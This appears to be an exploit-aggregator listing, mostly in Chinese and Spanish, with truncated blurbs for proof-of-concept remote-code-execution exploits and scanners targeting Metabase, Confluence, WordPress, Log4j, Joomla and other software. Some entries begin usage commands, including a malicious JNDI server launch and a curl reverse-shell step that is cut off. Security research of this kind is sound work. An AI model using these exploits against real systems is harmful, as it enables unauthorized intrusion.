CVE-2023-38646

CVE-2023-38646 - Metabase RCE Metabase 开源版 0.46.6.1 之前版本以及 Metabase Enterprise 1.46.6.1 之前版本允许攻击者以服务器的权限级别在服务器上执行任意命令。利用该漏洞无需身份验证。其他已修复版本包括 0.45.4.1、1.45.4.1、0.44.7.1、1.44.7.1、0.43.7.2 和 1.43.7.2。 如果目标 Metabase 版本存在漏洞，此脚本将允许你作为攻击者在目标系统上获取 shell 连接。 使用方法 root@kitploit: python3 CVE-2023-38646.py -u...

EXPLOIT-CVE-2026-9198

CVE-2026-9198 — IBM Langflow OSS RCE sin autenticación Prueba de concepto del exploit y un laboratorio Docker autónomo para CVE-2026-9198 , una vulnerabilidad de ejecución remota de código sin autenticación en IBM Langflow OSS. El exploit encadena dos endpoints — autologin que entrega un token...

CVE-2021-34371.jar

CVE-2021-34371.jar CVE-2021-34371.jar 来自 https://github.com/vulhub/vulhub/tree/master/neo4j/CVE-2021-34371/rhinogadget 使用 EXP...

CVE-2022-46169-Cacti-v1.2.22-RCE

CVE-2022-46169-Cacti-v1.2.22...

CVE-2022-26134

Confluence CVE-2022-26134 的主动利用 概述 CVE-2022-26134 是一个影响 Atlassian Confluence 的严重 远程代码执行 RCE 漏洞。该漏洞允许未经认证的攻击者通过向易受攻击的端点注入 OGNL 表达式来执行任意代码。 受影响版本 所有在补丁发布前的 Atlassian Confluence Server 和 Data Center 受支持版本。 漏洞利用详情 以下 curl 命令演示了该漏洞的主动利用，使用 Java 的 Nashorn 引擎执行反向 Shell： root@kitploit: curl -v...

ForgottenButNotGone

Olvidados pero no desaparecidos Este repositorio contiene scripts de prueba de concepto para las vulnerabilidades presentadas en la charla "Olvidados pero no desaparecidos: RCE no autenticados y LPE en servicios Linux heredados" de Black Hat USA 2026 y DEF CON 34. CVE-2026-28372 Escalada de...

CVE-2025-54322

CVE-2025-54322 - XSpeeder SXZOS 预认证 RCE 扫描器 一个针对 CVE-2025-54322 的多线程漏洞扫描器，该漏洞是 XSpeeder SXZOS 固件中的未认证远程代码执行漏洞，影响全球约 70,000+ 台主机。 📋 目录 关于漏洞 功能特性 安装 使用方法 输出 免责声明 致谢 作者 🔍 关于漏洞 CVE-2025-54322 是 XSpeeder SXZOS 固件中发现的一个严重预认证远程代码执行漏洞，该固件用于 SD-WAN 设备、路由器和边缘网络设备。 漏洞详情 CVE ID ：CVE-2025-54322 供应商...

Sophos-Vulnerability

CVE-2022-1040（Sophos RCE）漏洞分析 在Toasec研究团队中，我们致力于进攻性网络安全，并着手分析了Sophos防火墙中的此漏洞。 该漏洞与许多其他漏洞一样，如果你知道如何在推特上搜索，就可以发现并被通知。我们观察到自三月份起，开始出现关于RCE的文章。 来源：https://www.bleepingcomputer.com/news/security/critical-sophos-firewall-vulnerability-allows-remote-code-execution/ 如果我们查看拥有POC的仓库 root@kitploit: POST...

cve-2018-12386

Firefox 沙盒化 RCE 漏洞利用 CVE-2918-12386 这里是漏洞 CVE-2018-12386 的一个简单利用程序，该漏洞由 Niklas Baumstark、Samuel Groß 和 Bruno Keith 发现。 这主要是一个我为了好玩而做的概念验证，没有沙盒逃逸，它只适用于 给定的 Linux 设置，其中利用程序所用的偏移量是已知的 （可以在 exploit/offsets.js 中更改）。 此利用程序适用于 Firefox 62.0.3 及 Firefox ESR 60.2.2 之前的版本。 下载 Firefox 以测试漏洞利用 你可以直接从 Mozilla ...

CVE-2024-6387

OpenSSH CVE-2024-6387 漏洞检测器 该 Python 脚本用于检查服务器是否运行了易受 CVE-2024-6387 漏洞影响的 OpenSSH 版本。它会扫描指定 IP 地址或网络范围内的 OpenSSH banner，并将其与已知存在漏洞的版本进行比较。 🚨🚨安全警报通知🚨🚨 发布日期：2024 年 7 月 1 日 漏洞详情 近日，OpenSSH 维护者发布了安全更新，以修复一个可能导致未经认证的远程代码执行（RCE）并获得 root 权限的严重漏洞。该漏洞编号为 CVE-2024-6387，存在于 OpenSSH...

Ultimate-wp2shell

WP2Shell – 概念验证 用于验证对WordPress核心漏洞CVE-2026-60137和CVE-2026-63030 WP2Shell暴露的教育性和防御性概念验证 PoC 概述 此仓库提供了针对统称为 WP2Shell 的WordPress核心漏洞的防御性检测与验证概念验证 。 根据公开可用的安全研究，WP2Shell 描述了一个涉及 CVE-2026-60137 和 CVE-2026-63030 的漏洞链，在特定条件下可能导致未经授权的远程代码执行 RCE 。 本项目的目标是为以下人员提供帮助： 安全研究员 渗透测试人员 蓝队 事件响应人员 系统管理员...

CVE-2019-8942

CVE-2019-8942和CVE-2019-8943：WordPress RCE（作者权限） 总览 CVE-2019-8942 是一个利用LFI漏洞结合文件上传功能以作者权限在WordPress Web服务器上执行RCE的漏洞。受影响的WordPress版本包括4.9.9之前和5.x至5.0.1之前，允许远程执行代码，因为wpattachedfile的Post Meta值可以被更改为任意字符串，例如字符串：.jpg?file.php。具备作者权限的攻击者可以通过上传包含恶意PHP代码在Exif元数据中的图片文件来执行任意代码。可利用CVE-2019-8943进行利用。...

log4j_RCE_CVE-2021-44832

Log4j 2.17.0 RCE -- CVE-2021-44832 复现 1. 启动恶意jndi server root@kitploit: java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "/System/Applications/Calculator.app/Contents/MacOS/Calculator" -A "127.0.0.1" 2. 修改config/log4j2.xml中的DataSource部分为你生成的jndi地址 root@kitploit: 配置文件部署到自己的http服务器上 3. 修改Po...

CVE-2026-48908

CVE-2026-48908 — SP Page Builder Joomla 未认证远程代码执行 针对 CVE-2026-48908 的概念验证漏洞利用程序，这是一个严重（CVSS 4.0 = 10.0 ）的未经认证的远程代码执行漏洞，存在于 JoomShaper 开发的 Joomla SP Page Builder 组件 comsppagebuilder 中。 | ---|--- CVE| CVE-2026-48908 弱点| CWE-284 不正确的访问控制 → 未经认证的任意文件上传 → RCE 组件| SP Page Builder comsppagebuilder for...

wp2shell-poc

这究竟是如何工作的 本 PoC 与公开的 wp2shell 漏洞利用有何不同 所有 PoC 都利用了相同的两个缺陷 - REST 批量路由混淆（CVE-2026-63030）和 authornotin SQL 注入（CVE-2026-60137）- 并采用相同的双重嵌套批次结构。 它们之间的区别在于所选择的远程代码执行（RCE）路径 、环境前置条件 ， 以及安全默认设置 。本文档具体说明了本仓库中的实现在这一格局中所处的位置。 简要概述 1. 在存在持久化对象缓存时依然有效。 公开的基于 UNION 的 PoC 使用 已填充基集的注入形式：这一系列所共享的全链实现在那里会出现假阴性，...

CVE-2026-65883

CVE-2026-65883 — Aimy Captcha-Less Form Guard = 20.0 Campo clfgd → Recuperación XOR → unserialize → FormattedtextLogger → RCE Resumen Inyección de objetos PHP no autenticada en Aimy Captcha-Less Form Guard para Joomla. El método onCheckAnswer decodifica en base64 el campo POST clfgd controlado po...

SPIP-CVE-2024-23659-

SPIP-CVE-2024-23659- Script en Python 3 para validación/explotación de RCE no autenticado en SPIP BigUp Descripción cve.py automatiza: 1. Descubrimiento de formulario SPIP formulaireaction y formulaireactionargs. 2. Envío de payload multipart para ejecutar comandos en el servidor objetivo. 3...

CVE-2023-26035

CVE-2023-26035 ZoneMinder 快照 - 未授权访问 安装 获取仓库 root@kitploit: $ git clone https://github.com/Yuma-Tsushima07/CVE-2023-26035.git 设置 注意：请安装最新版本的 node root@kitploit: $ npm init $ npm i axios cheerio yargs 使用 root@kitploit: ┌─✗─v37r1x@7h3B14ckKn1gh75─/Documents/Code/CVE-2023-26035 └──╼ $node exp.js -h...

CVE-2025-3515

CVE-2025-3515 - WordPress文件上传远程代码执行 使用 root@kitploit: python3 exploit.py 概述 CVE-2025-3515 是 WordPress 插件 "Drag and Drop Multiple File Upload for Contact Form 7" 中的一个文件上传漏洞，允许未认证的攻击者上传恶意文件并实现远程代码执行。 插件 ：drag-and-drop-multiple-file-upload-contact-form-7 受影响版本 ：≤ 1.3.8.9 发现者 ：mikemyers Wordfence 技术细...

CVE-2020-13942

CVE-2020-13942 CVE-2020-13942 POC，作者 Eugene Rojavski 关于该漏洞的原始博客文章： https://www.checkmarx.com/blog/apache-unomi-cve-2020-13942-rce-vulnerabilities-discovered/ 存在两个 RCE 向量：通过 MVEL 注入和通过 OGNL 注入。这两个向量针对不同的代码，但载荷看起来相对相似。 之前的 CVE 修复 https://nvd.nist.gov/vuln/detail/CVE-2020-11975 试图限制 OGNL 表达式的执行，但完全遗...